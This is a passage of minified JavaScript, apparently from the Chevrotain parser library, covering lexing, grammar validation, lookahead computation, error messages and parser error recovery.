Y,oe=this.config.recoveryEnabled;for(;wu.length){u=s,h=f,Y=ae;break}}}break}}if(u!==null){if(d=u.length,p=Y.group,p!==void 0&&(m=Y.tokenTypeIdx,g=this.createTokenInstance(u,w,m,Y.tokenType,I,L,d),this.handlePayload(g,h),p===!1?k=this.addToken(C,k,g):E[p].push(g)),e=this.chopInput(e,d),w=w+d,L=this.computeNewColumn(L,d),D===!0&&Y.canLineTerminator===!0){let ee=0,Z,K;_.lastIndex=0;do Z=_.test(u),Z===!0&&(K=_.lastIndex-1,ee++);while(Z===!0);ee!==0&&(I=I+ee,L=d-K,this.updateTokenEndLineColumnLocation(g,p,K,ee,I,L,d))}this.handleModes(Y,j,te,g)}else{let ee=w,Z=I,K=L,ae=oe===!1;for(;ae===!1&&w{"use strict";Yt();tb();Vp();o(Ku,"tokenLabel");o(ZO,"hasTokenLabel");RYe="parent",Sde="categories",Cde="label",Ade="group",_de="push_mode",Dde="pop_mode",Lde="longer_alt",Rde="line_breaks",Nde="start_chars_hint";o(Pf,"createToken");o(NYe,"createTokenInternal");yo=Pf({name:"EOF",pattern:Zn.NA});ju([yo]);o(Qu,"createTokenInstance");o(nb,"tokenMatcher")});var Zu,Mde,Gl,b1=N(()=>{"use strict";Up();Yt();ps();Zu={buildMismatchTokenMessage({expected:t,actual:e,previous:r,ruleName:n}){return`Expecting ${ZO(t)?`--> ${Ku(t)} <--`:`token of type --> ${t.name} <--`} but found --> '${e.image}' <--`},buildNotAllInputParsedMessage({firstRedundant:t,ruleName:e}){return"Redundant input, expecting EOF but found: "+t.image},buildNoViableAltMessage({expectedPathsPerAlt:t,actual:e,previous:r,customUserDescription:n,ruleName:i}){let a="Expecting: ",l=` +but found: '`+ea(e).image+"'";if(n)return a+n+l;{let u=Jr(t,(p,m)=>p.concat(m),[]),h=rt(u,p=>`[${rt(p,m=>Ku(m)).join(", ")}]`),d=`one of these possible Token sequences: +${rt(h,(p,m)=>` ${m+1}. ${p}`).join(` +`)}`;return a+d+l}},buildEarlyExitMessage({expectedIterationPaths:t,actual:e,customUserDescription:r,ruleName:n}){let i="Expecting: ",s=` +but found: '`+ea(e).image+"'";if(r)return i+r+s;{let u=`expecting at least one iteration which starts with one of these possible Token sequences:: + <${rt(t,h=>`[${rt(h,f=>Ku(f)).join(",")}]`).join(" ,")}>`;return i+u+s}}};Object.freeze(Zu);Mde={buildRuleNotFoundError(t,e){return"Invalid grammar, reference to a rule which is not defined: ->"+e.nonTerminalName+`<- +inside top level rule: ->`+t.name+"<-"}},Gl={buildDuplicateFoundError(t,e){function r(f){return f instanceof Ar?f.terminalType.name:f instanceof fn?f.nonTerminalName:""}o(r,"getExtraProductionArgument");let n=t.name,i=ea(e),a=i.idx,s=Xs(i),l=r(i),u=a>0,h=`->${s}${u?a:""}<- ${l?`with argument: ->${l}<-`:""} + appears more than once (${e.length} times) in the top level rule: ->${n}<-. + For further details see: https://chevrotain.io/docs/FAQ.html#NUMERICAL_SUFFIXES + `;return h=h.replace(/[ \t]+/g," "),h=h.replace(/\s\s+/g,` +`),h},buildNamespaceConflictError(t){return`Namespace conflict found in grammar. +The grammar has both a Terminal(Token) and a Non-Terminal(Rule) named: <${t.name}>. +To resolve this make sure each Terminal and Non-Terminal names are unique +This is easy to accomplish by using the convention that Terminal names start with an uppercase letter +and Non-Terminal names start with a lower case letter.`},buildAlternationPrefixAmbiguityError(t){let e=rt(t.prefixPath,i=>Ku(i)).join(", "),r=t.alternation.idx===0?"":t.alternation.idx;return`Ambiguous alternatives: <${t.ambiguityIndices.join(" ,")}> due to common lookahead prefix +in inside <${t.topLevelRule.name}> Rule, +<${e}> may appears as a prefix path in all these alternatives. +See: https://chevrotain.io/docs/guide/resolving_grammar_errors.html#COMMON_PREFIX +For Further details.`},buildAlternationAmbiguityError(t){let e=rt(t.prefixPath,i=>Ku(i)).join(", "),r=t.alternation.idx===0?"":t.alternation.idx,n=`Ambiguous Alternatives Detected: <${t.ambiguityIndices.join(" ,")}> in inside <${t.topLevelRule.name}> Rule, +<${e}> may appears as a prefix path in all these alternatives. +`;return n=n+`See: https://chevrotain.io/docs/guide/resolving_grammar_errors.html#AMBIGUOUS_ALTERNATIVES +For Further details.`,n},buildEmptyRepetitionError(t){let e=Xs(t.repetition);return t.repetition.idx!==0&&(e+=t.repetition.idx),`The repetition <${e}> within Rule <${t.topLevelRule.name}> can never consume any tokens. +This could lead to an infinite loop.`},buildTokenNameError(t){return"deprecated"},buildEmptyAlternationError(t){return`Ambiguous empty alternative: <${t.emptyChoiceIdx+1}> in inside <${t.topLevelRule.name}> Rule. +Only the last alternative may be an empty alternative.`},buildTooManyAlternativesError(t){return`An Alternation cannot have more than 256 alternatives: + inside <${t.topLevelRule.name}> Rule. + has ${t.alternation.definition.length+1} alternatives.`},buildLeftRecursionError(t){let e=t.topLevelRule.name,r=rt(t.leftRecursionPath,a=>a.name),n=`${e} --> ${r.concat([e]).join(" --> ")}`;return`Left Recursion found in grammar. +rule: <${e}> can be invoked from itself (directly or indirectly) +without consuming any Tokens. The grammar path that causes this is: + ${n} + To fix this refactor your grammar to remove the left recursion. +see: https://en.wikipedia.org/wiki/LL_parser#Left_factoring.`},buildInvalidRuleNameError(t){return"deprecated"},buildDuplicateRuleNameError(t){let e;return t.topLevelRule instanceof fs?e=t.topLevelRule.name:e=t.topLevelRule,`Duplicate definition, rule: ->${e}<- is already defined in the grammar: ->${t.grammarName}<-`}}});function Ide(t,e){let r=new JO(t,e);return r.resolveRefs(),r.errors}var JO,Ode=N(()=>{"use strict";js();Yt();ps();o(Ide,"resolveGrammar");JO=class extends ds{static{o(this,"GastRefResolverVisitor")}constructor(e,r){super(),this.nameToTopRule=e,this.errMsgProvider=r,this.errors=[]}resolveRefs(){Ae(kr(this.nameToTopRule),e=>{this.currTopLevel=e,e.accept(this)})}visitNonTerminal(e){let r=this.nameToTopRule[e.nonTerminalName];if(r)e.referencedRule=r;else{let n=this.errMsgProvider.buildRuleNotFoundError(this.currTopLevel,e);this.errors.push({message:n,type:Gi.UNRESOLVED_SUBRULE_REF,ruleName:this.currTopLevel.name,unresolvedRefName:e.nonTerminalName})}}}});function sS(t,e,r=[]){r=ln(r);let n=[],i=0;function a(l){return l.concat(yi(t,i+1))}o(a,"remainingPathWith");function s(l){let u=sS(a(l),e,r);return n.concat(u)}for(o(s,"getAlternativesForProd");r.length{mr(u.definition)===!1&&(n=s(u.definition))}),n;if(l instanceof Ar)r.push(l.terminalType);else throw Error("non exhaustive match")}i++}return n.push({partialPath:r,suffixDef:yi(t,i)}),n}function oS(t,e,r,n){let i="EXIT_NONE_TERMINAL",a=[i],s="EXIT_ALTERNATIVE",l=!1,u=e.length,h=u-n-1,f=[],d=[];for(d.push({idx:-1,def:t,ruleStack:[],occurrenceStack:[]});!mr(d);){let p=d.pop();if(p===s){l&&ma(d).idx<=h&&d.pop();continue}let m=p.def,g=p.idx,y=p.ruleStack,v=p.occurrenceStack;if(mr(m))continue;let x=m[0];if(x===i){let b={idx:g,def:yi(m),ruleStack:Bu(y),occurrenceStack:Bu(v)};d.push(b)}else if(x instanceof Ar)if(g=0;b--){let T=x.definition[b],S={idx:g,def:T.definition.concat(yi(m)),ruleStack:y,occurrenceStack:v};d.push(S),d.push(s)}else if(x instanceof Pn)d.push({idx:g,def:x.definition.concat(yi(m)),ruleStack:y,occurrenceStack:v});else if(x instanceof fs)d.push(MYe(x,g,y,v));else throw Error("non exhaustive match")}return f}function MYe(t,e,r,n){let i=ln(r);i.push(t.name);let a=ln(n);return a.push(1),{idx:e,def:t.definition,ruleStack:i,occurrenceStack:a}}var eP,nS,T1,iS,ib,aS,ab,sb=N(()=>{"use strict";Yt();GO();jE();ps();eP=class extends Yu{static{o(this,"AbstractNextPossibleTokensWalker")}constructor(e,r){super(),this.topProd=e,this.path=r,this.possibleTokTypes=[],this.nextProductionName="",this.nextProductionOccurrence=0,this.found=!1,this.isAtEndOfPath=!1}startWalking(){if(this.found=!1,this.path.ruleStack[0]!==this.topProd.name)throw Error("The path does not start with the walker's top Rule!");return this.ruleStack=ln(this.path.ruleStack).reverse(),this.occurrenceStack=ln(this.path.occurrenceStack).reverse(),this.ruleStack.pop(),this.occurrenceStack.pop(),this.updateExpectedNext(),this.walk(this.topProd),this.possibleTokTypes}walk(e,r=[]){this.found||super.walk(e,r)}walkProdRef(e,r,n){if(e.referencedRule.name===this.nextProductionName&&e.idx===this.nextProductionOccurrence){let i=r.concat(n);this.updateExpectedNext(),this.walk(e.referencedRule,i)}}updateExpectedNext(){mr(this.ruleStack)?(this.nextProductionName="",this.nextProductionOccurrence=0,this.isAtEndOfPath=!0):(this.nextProductionName=this.ruleStack.pop(),this.nextProductionOccurrence=this.occurrenceStack.pop())}},nS=class extends eP{static{o(this,"NextAfterTokenWalker")}constructor(e,r){super(e,r),this.path=r,this.nextTerminalName="",this.nextTerminalOccurrence=0,this.nextTerminalName=this.path.lastTok.name,this.nextTerminalOccurrence=this.path.lastTokOccurrence}walkTerminal(e,r,n){if(this.isAtEndOfPath&&e.terminalType.name===this.nextTerminalName&&e.idx===this.nextTerminalOccurrence&&!this.found){let i=r.concat(n),a=new Pn({definition:i});this.possibleTokTypes=zp(a),this.found=!0}}},T1=class extends Yu{static{o(this,"AbstractNextTerminalAfterProductionWalker")}constructor(e,r){super(),this.topRule=e,this.occurrence=r,this.result={token:void 0,occurrence:void 0,isEndOfRule:void 0}}startWalking(){return this.walk(this.topRule),this.result}},iS=class extends T1{static{o(this,"NextTerminalAfterManyWalker")}walkMany(e,r,n){if(e.idx===this.occurrence){let i=ea(r.concat(n));this.result.isEndOfRule=i===void 0,i instanceof Ar&&(this.result.token=i.terminalType,this.result.occurrence=i.idx)}else super.walkMany(e,r,n)}},ib=class extends T1{static{o(this,"NextTerminalAfterManySepWalker")}walkManySep(e,r,n){if(e.idx===this.occurrence){let i=ea(r.concat(n));this.result.isEndOfRule=i===void 0,i instanceof Ar&&(this.result.token=i.terminalType,this.result.occurrence=i.idx)}else super.walkManySep(e,r,n)}},aS=class extends T1{static{o(this,"NextTerminalAfterAtLeastOneWalker")}walkAtLeastOne(e,r,n){if(e.idx===this.occurrence){let i=ea(r.concat(n));this.result.isEndOfRule=i===void 0,i instanceof Ar&&(this.result.token=i.terminalType,this.result.occurrence=i.idx)}else super.walkAtLeastOne(e,r,n)}},ab=class extends T1{static{o(this,"NextTerminalAfterAtLeastOneSepWalker")}walkAtLeastOneSep(e,r,n){if(e.idx===this.occurrence){let i=ea(r.concat(n));this.result.isEndOfRule=i===void 0,i instanceof Ar&&(this.result.token=i.terminalType,this.result.occurrence=i.idx)}else super.walkAtLeastOneSep(e,r,n)}};o(sS,"possiblePathsFrom");o(oS,"nextPossibleTokensAfter");o(MYe,"expandTopLevelRule")});function ob(t){if(t instanceof dn||t==="Option")return Jn.OPTION;if(t instanceof zr||t==="Repetition")return Jn.REPETITION;if(t instanceof Bn||t==="RepetitionMandatory")return Jn.REPETITION_MANDATORY;if(t instanceof Fn||t==="RepetitionMandatoryWithSeparator")return Jn.REPETITION_MANDATORY_WITH_SEPARATOR;if(t instanceof _n||t==="RepetitionWithSeparator")return Jn.REPETITION_WITH_SEPARATOR;if(t instanceof Dn||t==="Alternation")return Jn.ALTERNATION;throw Error("non exhaustive match")}function cS(t){let{occurrence:e,rule:r,prodType:n,maxLookahead:i}=t,a=ob(n);return a===Jn.ALTERNATION?w1(e,r,i):k1(e,r,a,i)}function Bde(t,e,r,n,i,a){let s=w1(t,e,r),l=Ude(s)?v1:Xu;return a(s,n,l,i)}function Fde(t,e,r,n,i,a){let s=k1(t,e,i,r),l=Ude(s)?v1:Xu;return a(s[0],l,n)}function $de(t,e,r,n){let i=t.length,a=Pa(t,s=>Pa(s,l=>l.length===1));if(e)return function(s){let l=rt(s,u=>u.GATE);for(let u=0;uQr(u)),l=Jr(s,(u,h,f)=>(Ae(h,d=>{Ft(u,d.tokenTypeIdx)||(u[d.tokenTypeIdx]=f),Ae(d.categoryMatches,p=>{Ft(u,p)||(u[p]=f)})}),u),{});return function(){let u=this.LA(1);return l[u.tokenTypeIdx]}}else return function(){for(let s=0;sa.length===1),i=t.length;if(n&&!r){let a=Qr(t);if(a.length===1&&mr(a[0].categoryMatches)){let l=a[0].tokenTypeIdx;return function(){return this.LA(1).tokenTypeIdx===l}}else{let s=Jr(a,(l,u,h)=>(l[u.tokenTypeIdx]=!0,Ae(u.categoryMatches,f=>{l[f]=!0}),l),[]);return function(){let l=this.LA(1);return s[l.tokenTypeIdx]===!0}}}else return function(){e:for(let a=0;asS([s],1)),n=Pde(r.length),i=rt(r,s=>{let l={};return Ae(s,u=>{let h=tP(u.partialPath);Ae(h,f=>{l[f]=!0})}),l}),a=r;for(let s=1;s<=e;s++){let l=a;a=Pde(l.length);for(let u=0;u{let x=tP(v.partialPath);Ae(x,b=>{i[u][b]=!0})})}}}}return n}function w1(t,e,r,n){let i=new lS(t,Jn.ALTERNATION,n);return e.accept(i),Gde(i.result,r)}function k1(t,e,r,n){let i=new lS(t,r);e.accept(i);let a=i.result,l=new rP(e,t,r).startWalking(),u=new Pn({definition:a}),h=new Pn({definition:l});return Gde([u,h],n)}function uS(t,e){e:for(let r=0;r{let i=e[n];return r===i||i.categoryMatchesMap[r.tokenTypeIdx]})}function Ude(t){return Pa(t,e=>Pa(e,r=>Pa(r,n=>mr(n.categoryMatches))))}var Jn,rP,lS,E1=N(()=>{"use strict";Yt();sb();jE();Vp();ps();(function(t){t[t.OPTION=0]="OPTION",t[t.REPETITION=1]="REPETITION",t[t.REPETITION_MANDATORY=2]="REPETITION_MANDATORY",t[t.REPETITION_MANDATORY_WITH_SEPARATOR=3]="REPETITION_MANDATORY_WITH_SEPARATOR",t[t.REPETITION_WITH_SEPARATOR=4]="REPETITION_WITH_SEPARATOR",t[t.ALTERNATION=5]="ALTERNATION"})(Jn||(Jn={}));o(ob,"getProdType");o(cS,"getLookaheadPaths");o(Bde,"buildLookaheadFuncForOr");o(Fde,"buildLookaheadFuncForOptionalProd");o($de,"buildAlternativesLookAheadFunc");o(zde,"buildSingleAlternativeLookaheadFunction");rP=class extends Yu{static{o(this,"RestDefinitionFinderWalker")}constructor(e,r,n){super(),this.topProd=e,this.targetOccurrence=r,this.targetProdType=n}startWalking(){return this.walk(this.topProd),this.restDef}checkIsTarget(e,r,n,i){return e.idx===this.targetOccurrence&&this.targetProdType===r?(this.restDef=n.concat(i),!0):!1}walkOption(e,r,n){this.checkIsTarget(e,Jn.OPTION,r,n)||super.walkOption(e,r,n)}walkAtLeastOne(e,r,n){this.checkIsTarget(e,Jn.REPETITION_MANDATORY,r,n)||super.walkOption(e,r,n)}walkAtLeastOneSep(e,r,n){this.checkIsTarget(e,Jn.REPETITION_MANDATORY_WITH_SEPARATOR,r,n)||super.walkOption(e,r,n)}walkMany(e,r,n){this.checkIsTarget(e,Jn.REPETITION,r,n)||super.walkOption(e,r,n)}walkManySep(e,r,n){this.checkIsTarget(e,Jn.REPETITION_WITH_SEPARATOR,r,n)||super.walkOption(e,r,n)}},lS=class extends ds{static{o(this,"InsideDefinitionFinderVisitor")}constructor(e,r,n){super(),this.targetOccurrence=e,this.targetProdType=r,this.targetRef=n,this.result=[]}checkIsTarget(e,r){e.idx===this.targetOccurrence&&this.targetProdType===r&&(this.targetRef===void 0||e===this.targetRef)&&(this.result=e.definition)}visitOption(e){this.checkIsTarget(e,Jn.OPTION)}visitRepetition(e){this.checkIsTarget(e,Jn.REPETITION)}visitRepetitionMandatory(e){this.checkIsTarget(e,Jn.REPETITION_MANDATORY)}visitRepetitionMandatoryWithSeparator(e){this.checkIsTarget(e,Jn.REPETITION_MANDATORY_WITH_SEPARATOR)}visitRepetitionWithSeparator(e){this.checkIsTarget(e,Jn.REPETITION_WITH_SEPARATOR)}visitAlternation(e){this.checkIsTarget(e,Jn.ALTERNATION)}};o(Pde,"initializeArrayOfArrays");o(tP,"pathToHashKeys");o(IYe,"isUniquePrefixHash");o(Gde,"lookAheadSequenceFromAlternatives");o(w1,"getLookaheadPathsForOr");o(k1,"getLookaheadPathsForOptionalProd");o(uS,"containsPath");o(Vde,"isStrictPrefixOfPath");o(Ude,"areTokenCategoriesNotUsed")});function Hde(t){let e=t.lookaheadStrategy.validate({rules:t.rules,tokenTypes:t.tokenTypes,grammarName:t.grammarName});return rt(e,r=>Object.assign({type:Gi.CUSTOM_LOOKAHEAD_VALIDATION},r))}function qde(t,e,r,n){let i=ga(t,u=>OYe(u,r)),a=GYe(t,e,r),s=ga(t,u=>FYe(u,r)),l=ga(t,u=>BYe(u,t,n,r));return i.concat(a,s,l)}function OYe(t,e){let r=new nP;t.accept(r);let n=r.allProductions,i=DR(n,PYe),a=Vs(i,l=>l.length>1);return rt(kr(a),l=>{let u=ea(l),h=e.buildDuplicateFoundError(t,l),f=Xs(u),d={message:h,type:Gi.DUPLICATE_PRODUCTIONS,ruleName:t.name,dslName:f,occurrence:u.idx},p=Wde(u);return p&&(d.parameter=p),d})}function PYe(t){return`${Xs(t)}_#_${t.idx}_#_${Wde(t)}`}function Wde(t){return t instanceof Ar?t.terminalType.name:t instanceof fn?t.nonTerminalName:""}function BYe(t,e,r,n){let i=[];if(Jr(e,(s,l)=>l.name===t.name?s+1:s,0)>1){let s=n.buildDuplicateRuleNameError({topLevelRule:t,grammarName:r});i.push({message:s,type:Gi.DUPLICATE_RULE_NAME,ruleName:t.name})}return i}function Yde(t,e,r){let n=[],i;return jn(e,t)||(i=`Invalid rule override, rule: ->${t}<- cannot be overridden in the grammar: ->${r}<-as it is not defined in any of the super grammars `,n.push({message:i,type:Gi.INVALID_RULE_OVERRIDE,ruleName:t})),n}function aP(t,e,r,n=[]){let i=[],a=hS(e.definition);if(mr(a))return[];{let s=t.name;jn(a,t)&&i.push({message:r.buildLeftRecursionError({topLevelRule:t,leftRecursionPath:n}),type:Gi.LEFT_RECURSION,ruleName:s});let u=lf(a,n.concat([t])),h=ga(u,f=>{let d=ln(n);return d.push(f),aP(t,f,r,d)});return i.concat(h)}}function hS(t){let e=[];if(mr(t))return e;let r=ea(t);if(r instanceof fn)e.push(r.referencedRule);else if(r instanceof Pn||r instanceof dn||r instanceof Bn||r instanceof Fn||r instanceof _n||r instanceof zr)e=e.concat(hS(r.definition));else if(r instanceof Dn)e=Qr(rt(r.definition,a=>hS(a.definition)));else if(!(r instanceof Ar))throw Error("non exhaustive match");let n=$p(r),i=t.length>1;if(n&&i){let a=yi(t);return e.concat(hS(a))}else return e}function Xde(t,e){let r=new lb;t.accept(r);let n=r.alternations;return ga(n,a=>{let s=Bu(a.definition);return ga(s,(l,u)=>{let h=oS([l],[],Xu,1);return mr(h)?[{message:e.buildEmptyAlternationError({topLevelRule:t,alternation:a,emptyChoiceIdx:u}),type:Gi.NONE_LAST_EMPTY_ALT,ruleName:t.name,occurrence:a.idx,alternative:u+1}]:[]})})}function jde(t,e,r){let n=new lb;t.accept(n);let i=n.alternations;return i=cf(i,s=>s.ignoreAmbiguities===!0),ga(i,s=>{let l=s.idx,u=s.maxLookahead||e,h=w1(l,t,u,s),f=$Ye(h,s,t,r),d=zYe(h,s,t,r);return f.concat(d)})}function FYe(t,e){let r=new lb;t.accept(r);let n=r.alternations;return ga(n,a=>a.definition.length>255?[{message:e.buildTooManyAlternativesError({topLevelRule:t,alternation:a}),type:Gi.TOO_MANY_ALTS,ruleName:t.name,occurrence:a.idx}]:[])}function Kde(t,e,r){let n=[];return Ae(t,i=>{let a=new iP;i.accept(a);let s=a.allProductions;Ae(s,l=>{let u=ob(l),h=l.maxLookahead||e,f=l.idx,p=k1(f,i,u,h)[0];if(mr(Qr(p))){let m=r.buildEmptyRepetitionError({topLevelRule:i,repetition:l});n.push({message:m,type:Gi.NO_NON_EMPTY_LOOKAHEAD,ruleName:i.name})}})}),n}function $Ye(t,e,r,n){let i=[],a=Jr(t,(l,u,h)=>(e.definition[h].ignoreAmbiguities===!0||Ae(u,f=>{let d=[h];Ae(t,(p,m)=>{h!==m&&uS(p,f)&&e.definition[m].ignoreAmbiguities!==!0&&d.push(m)}),d.length>1&&!uS(i,f)&&(i.push(f),l.push({alts:d,path:f}))}),l),[]);return rt(a,l=>{let u=rt(l.alts,f=>f+1);return{message:n.buildAlternationAmbiguityError({topLevelRule:r,alternation:e,ambiguityIndices:u,prefixPath:l.path}),type:Gi.AMBIGUOUS_ALTS,ruleName:r.name,occurrence:e.idx,alternatives:l.alts}})}function zYe(t,e,r,n){let i=Jr(t,(s,l,u)=>{let h=rt(l,f=>({idx:u,path:f}));return s.concat(h)},[]);return _c(ga(i,s=>{if(e.definition[s.idx].ignoreAmbiguities===!0)return[];let u=s.idx,h=s.path,f=Zr(i,p=>e.definition[p.idx].ignoreAmbiguities!==!0&&p.idx{let m=[p.idx+1,u+1],g=e.idx===0?"":e.idx;return{message:n.buildAlternationPrefixAmbiguityError({topLevelRule:r,alternation:e,ambiguityIndices:m,prefixPath:p.path}),type:Gi.AMBIGUOUS_PREFIX_ALTS,ruleName:r.name,occurrence:g,alternatives:m}})}))}function GYe(t,e,r){let n=[],i=rt(e,a=>a.name);return Ae(t,a=>{let s=a.name;if(jn(i,s)){let l=r.buildNamespaceConflictError(a);n.push({message:l,type:Gi.CONFLICT_TOKENS_RULES_NAMESPACE,ruleName:s})}}),n}var nP,lb,iP,cb=N(()=>{"use strict";Yt();js();ps();E1();sb();Vp();o(Hde,"validateLookahead");o(qde,"validateGrammar");o(OYe,"validateDuplicateProductions");o(PYe,"identifyProductionForDuplicates");o(Wde,"getExtraProductionArgument");nP=class extends ds{static{o(this,"OccurrenceValidationCollector")}constructor(){super(...arguments),this.allProductions=[]}visitNonTerminal(e){this.allProductions.push(e)}visitOption(e){this.allProductions.push(e)}visitRepetitionWithSeparator(e){this.allProductions.push(e)}visitRepetitionMandatory(e){this.allProductions.push(e)}visitRepetitionMandatoryWithSeparator(e){this.allProductions.push(e)}visitRepetition(e){this.allProductions.push(e)}visitAlternation(e){this.allProductions.push(e)}visitTerminal(e){this.allProductions.push(e)}};o(BYe,"validateRuleDoesNotAlreadyExist");o(Yde,"validateRuleIsOverridden");o(aP,"validateNoLeftRecursion");o(hS,"getFirstNoneTerminal");lb=class extends ds{static{o(this,"OrCollector")}constructor(){super(...arguments),this.alternations=[]}visitAlternation(e){this.alternations.push(e)}};o(Xde,"validateEmptyOrAlternative");o(jde,"validateAmbiguousAlternationAlternatives");iP=class extends ds{static{o(this,"RepetitionCollector")}constructor(){super(...arguments),this.allProductions=[]}visitRepetitionWithSeparator(e){this.allProductions.push(e)}visitRepetitionMandatory(e){this.allProductions.push(e)}visitRepetitionMandatoryWithSeparator(e){this.allProductions.push(e)}visitRepetition(e){this.allProductions.push(e)}};o(FYe,"validateTooManyAlts");o(Kde,"validateSomeNonEmptyLookaheadPath");o($Ye,"checkAlternativesAmbiguities");o(zYe,"checkPrefixAlternativesAmbiguities");o(GYe,"checkTerminalAndNoneTerminalsNameSpace")});function Qde(t){let e=of(t,{errMsgProvider:Mde}),r={};return Ae(t.rules,n=>{r[n.name]=n}),Ide(r,e.errMsgProvider)}function Zde(t){return t=of(t,{errMsgProvider:Gl}),qde(t.rules,t.tokenTypes,t.errMsgProvider,t.grammarName)}var Jde=N(()=>{"use strict";Yt();Ode();cb();b1();o(Qde,"resolveGrammar");o(Zde,"validateGrammar")});function Bf(t){return jn(ipe,t.name)}var epe,tpe,rpe,npe,ipe,S1,Hp,ub,hb,fb,C1=N(()=>{"use strict";Yt();epe="MismatchedTokenException",tpe="NoViableAltException",rpe="EarlyExitException",npe="NotAllInputParsedException",ipe=[epe,tpe,rpe,npe];Object.freeze(ipe);o(Bf,"isRecognitionException");S1=class extends Error{static{o(this,"RecognitionException")}constructor(e,r){super(e),this.token=r,this.resyncedTokens=[],Object.setPrototypeOf(this,new.target.prototype),Error.captureStackTrace&&Error.captureStackTrace(this,this.constructor)}},Hp=class extends S1{static{o(this,"MismatchedTokenException")}constructor(e,r,n){super(e,r),this.previousToken=n,this.name=epe}},ub=class extends S1{static{o(this,"NoViableAltException")}constructor(e,r,n){super(e,r),this.previousToken=n,this.name=tpe}},hb=class extends S1{static{o(this,"NotAllInputParsedException")}constructor(e,r){super(e,r),this.name=npe}},fb=class extends S1{static{o(this,"EarlyExitException")}constructor(e,r,n){super(e,r),this.previousToken=n,this.name=rpe}}});function VYe(t,e,r,n,i,a,s){let l=this.getKeyForAutomaticLookahead(n,i),u=this.firstAfterRepMap[l];if(u===void 0){let p=this.getCurrRuleFullName(),m=this.getGAstProductions()[p];u=new a(m,i).startWalking(),this.firstAfterRepMap[l]=u}let h=u.token,f=u.occurrence,d=u.isEndOfRule;this.RULE_STACK.length===1&&d&&h===void 0&&(h=yo,f=1),!(h===void 0||f===void 0)&&this.shouldInRepetitionRecoveryBeTried(h,f,s)&&this.tryInRepetitionRecovery(t,e,r,h)}var sP,lP,oP,fS,cP=N(()=>{"use strict";Up();Yt();C1();VO();js();sP={},lP="InRuleRecoveryException",oP=class extends Error{static{o(this,"InRuleRecoveryException")}constructor(e){super(e),this.name=lP}},fS=class{static{o(this,"Recoverable")}initRecoverable(e){this.firstAfterRepMap={},this.resyncFollows={},this.recoveryEnabled=Ft(e,"recoveryEnabled")?e.recoveryEnabled:ms.recoveryEnabled,this.recoveryEnabled&&(this.attemptInRepetitionRecovery=VYe)}getTokenToInsert(e){let r=Qu(e,"",NaN,NaN,NaN,NaN,NaN,NaN);return r.isInsertedInRecovery=!0,r}canTokenTypeBeInsertedInRecovery(e){return!0}canTokenTypeBeDeletedInRecovery(e){return!0}tryInRepetitionRecovery(e,r,n,i){let a=this.findReSyncTokenType(),s=this.exportLexerState(),l=[],u=!1,h=this.LA(1),f=this.LA(1),d=o(()=>{let p=this.LA(0),m=this.errorMessageProvider.buildMismatchTokenMessage({expected:i,actual:h,previous:p,ruleName:this.getCurrRuleFullName()}),g=new Hp(m,h,this.LA(0));g.resyncedTokens=Bu(l),this.SAVE_ERROR(g)},"generateErrorMessage");for(;!u;)if(this.tokenMatcher(f,i)){d();return}else if(n.call(this)){d(),e.apply(this,r);return}else this.tokenMatcher(f,a)?u=!0:(f=this.SKIP_TOKEN(),this.addToResyncTokens(f,l));this.importLexerState(s)}shouldInRepetitionRecoveryBeTried(e,r,n){return!(n===!1||this.tokenMatcher(this.LA(1),e)||this.isBackTracking()||this.canPerformInRuleRecovery(e,this.getFollowsForInRuleRecovery(e,r)))}getFollowsForInRuleRecovery(e,r){let n=this.getCurrentGrammarPath(e,r);return this.getNextPossibleTokenTypes(n)}tryInRuleRecovery(e,r){if(this.canRecoverWithSingleTokenInsertion(e,r))return this.getTokenToInsert(e);if(this.canRecoverWithSingleTokenDeletion(e)){let n=this.SKIP_TOKEN();return this.consumeToken(),n}throw new oP("sad sad panda")}canPerformInRuleRecovery(e,r){return this.canRecoverWithSingleTokenInsertion(e,r)||this.canRecoverWithSingleTokenDeletion(e)}canRecoverWithSingleTokenInsertion(e,r){if(!this.canTokenTypeBeInsertedInRecovery(e)||mr(r))return!1;let n=this.LA(1);return os(r,a=>this.tokenMatcher(n,a))!==void 0}canRecoverWithSingleTokenDeletion(e){return this.canTokenTypeBeDeletedInRecovery(e)?this.tokenMatcher(this.LA(2),e):!1}isInCurrentRuleReSyncSet(e){let r=this.getCurrFollowKey(),n=this.getFollowSetFromFollowKey(r);return jn(n,e)}findReSyncTokenType(){let e=this.flattenFollowSet(),r=this.LA(1),n=2;for(;;){let i=os(e,a=>nb(r,a));if(i!==void 0)return i;r=this.LA(n),n++}}getCurrFollowKey(){if(this.RULE_STACK.length===1)return sP;let e=this.getLastExplicitRuleShortName(),r=this.getLastExplicitRuleOccurrenceIndex(),n=this.getPreviousExplicitRuleShortName();return{ruleName:this.shortRuleNameToFullName(e),idxInCallingRule:r,inRule:this.shortRuleNameToFullName(n)}}buildFullFollowKeyStack(){let e=this.RULE_STACK,r=this.RULE_OCCURRENCE_STACK;return rt(e,(n,i)=>i===0?sP:{ruleName:this.shortRuleNameToFullName(n),idxInCallingRule:r[i],inRule:this.shortRuleNameToFullName(e[i-1])})}flattenFollowSet(){let e=rt(this.buildFullFollowKeyStack(),r=>this.getFollowSetFromFollowKey(r));return Qr(e)}getFollowSetFromFollowKey(e){if(e===sP)return[yo];let r=e.ruleName+e.idxInCallingRule+KE+e.inRule;return this.resyncFollows[r]}addToResyncTokens(e,r){return this.tokenMatcher(e,yo)||r.push(e),r}reSyncTo(e){let r=[],n=this.LA(1);for(;this.tokenMatcher(n,e)===!1;)n=this.SKIP_TOKEN(),this.addToResyncTokens(n,r);return Bu(r)}attemptInRepetitionRecovery(e,r,n,i,a,s,l){}getCurrentGrammarPath(e,r){let n=this.getHumanReadableRuleStack(),i=ln(this.RULE_OCCURRENCE_STACK);return{ruleStack:n,occurrenceStack:i,lastTok:e,lastTokOccurrence:r}}getHumanReadableRuleStack(){return rt(this.RULE_STACK,e=>this.shortRuleNameToFullName(e))}};o(VYe,"attemptInRepetitionRecovery")});function dS(t,e,r){return r|e|t}var pS=N(()=>{"use strict";o(dS,"getKeyForAutomaticLookahead")});var Ju,uP=N(()=>{"use strict";Yt();b1();js();cb();E1();Ju=class{static{o(this,"LLkLookaheadStrategy")}constructor(e){var r;this.maxLookahead=(r=e?.maxLookahead)!==null&&r!==void 0?r:ms.maxLookahead}validate(e){let r=this.validateNoLeftRecursion(e.rules);if(mr(r)){let n=this.validateEmptyOrAlternatives(e.rules),i=this.validateAmbiguousAlternationAlternatives(e.rules,this.maxLookahead),a=this.validateSomeNonEmptyLookaheadPath(e.rules,this.maxLookahead);return[...r,...n,...i,...a]}return r}validateNoLeftRecursion(e){return 